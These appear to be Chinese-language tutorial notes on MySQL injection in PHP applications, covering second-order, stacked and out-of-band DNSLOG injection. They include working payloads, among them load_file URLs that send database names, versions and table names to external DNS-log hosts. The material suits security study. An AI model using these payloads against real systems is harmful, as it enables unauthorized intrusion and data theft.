PHP-MYSQL-二次注入-DEMO&74CMS
- DEMO-用户注册登录修改密码
- CMS-74CMS个人中心简历功能
黑盒思路:分析代码功能,有INSERT后对数据操作的地方(功能点)
白盒思路:INSERT后进入SELECT或UPDATE的功能的代码部分
注入条件:插入时有转义的函数或配置,能过后续继续利用INSERT的数据
登录后修改,系统会直接直接获取当前登录的用户名当修改条件
如果此用户名在注册的时候是SQL注入语句,就能过提前将代码插入到数据中,然后当系统调用数据的时候,连接形成二次注入语句。需要注意,如果对面代码开了转移的函数,无法插入数据
关键点:在插入的时候需要函数转义或者魔术开关转义,没有的话INSERT注入语句就都注入不进去
首先得知道有没有转义,然后知道有没有单引号,括号,然后插入进去再找在哪触发,一般是看源码代码审计发现的。
原本SQL语句:
1 | INSERT INTO users(username,password) VALUES ('username', $password') |
将在用户名处写的注入语句带入原本SQL语句
1 | 'admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)# |
但是写入之后,#注释掉了之后的内容,导致password的参数传不上去,就会报错。但是如果去掉了单引号和后面的#号,这个注入语句能写入,但是是以字符串的形式写入的
1 | Insert into users(username,password) vaules('admin and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)', $password') |
然后,系统将admin and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
作为账号存入数据库
函数转义或者魔术开关本意是为了拦截一次注入的,会将单引号前面加上\,注释掉单引号使攻击语句出错,但是这样就给了二次注入机会来插入到数据库中,然后再调用的数据的时候触发语句达成目的
PHP-MYSQL-堆叠注入-DEMO&CTF强网
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句
例如PHP中的mysqli_multi_query
函数和mysqli_query()
函数。
所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
例如:
1 | 1.1.1.1:80/sqli/test.php?id=1;create table cypher(personalid int); |
1、目标存在sql注入漏洞
2、目标未对”;”号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
支持堆叠数据库:MYSQL MSSQL Postgresql等
PHP-MYSQL-带外注入-DEMO&DNSLOG
注入条件
ROOT高权限且支持load_file(),需要同时满足两个要求,条件太苛刻了
有部分注入点是没有回显的,所有读取也是没回显的,所以采用带外使用平台
https://dig.pm/带外应用场景:
解决不回显,反向连接,SQL注入,命令执行,SSRF等1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18# 查询当前数据库
1.1.1.1/sqli/new.php?id=1 and (select load_file(concat('//',(select database()),'.d7a64120ce.ipv6.1433.eu.org/abc')))
# 查询当前版本
1.1.1.1/sqli/new.php?id=1 and (select load_file(concat('//',(select version()),'.ac45c0ae7c.ipv6.1433.eu.org/abc')))
# 查询其他数据库
id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
# 查询当前数据库demo01中第一个表名
1.1.1.1/sqli/new.php?id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo01' limit 0,1 ),".ac45c0ae7c.ipv6.1433.eu.org\\xxx.txt"))
# 查询当前数据库demo01中第二个表名
1.1.1.1/sqli/new.php?id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo01' limit 1,1 ),".ac45c0ae7c.ipv6.1433.eu.org\\xxx.txt"))由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名
limit 2,1 查询第三个数据库名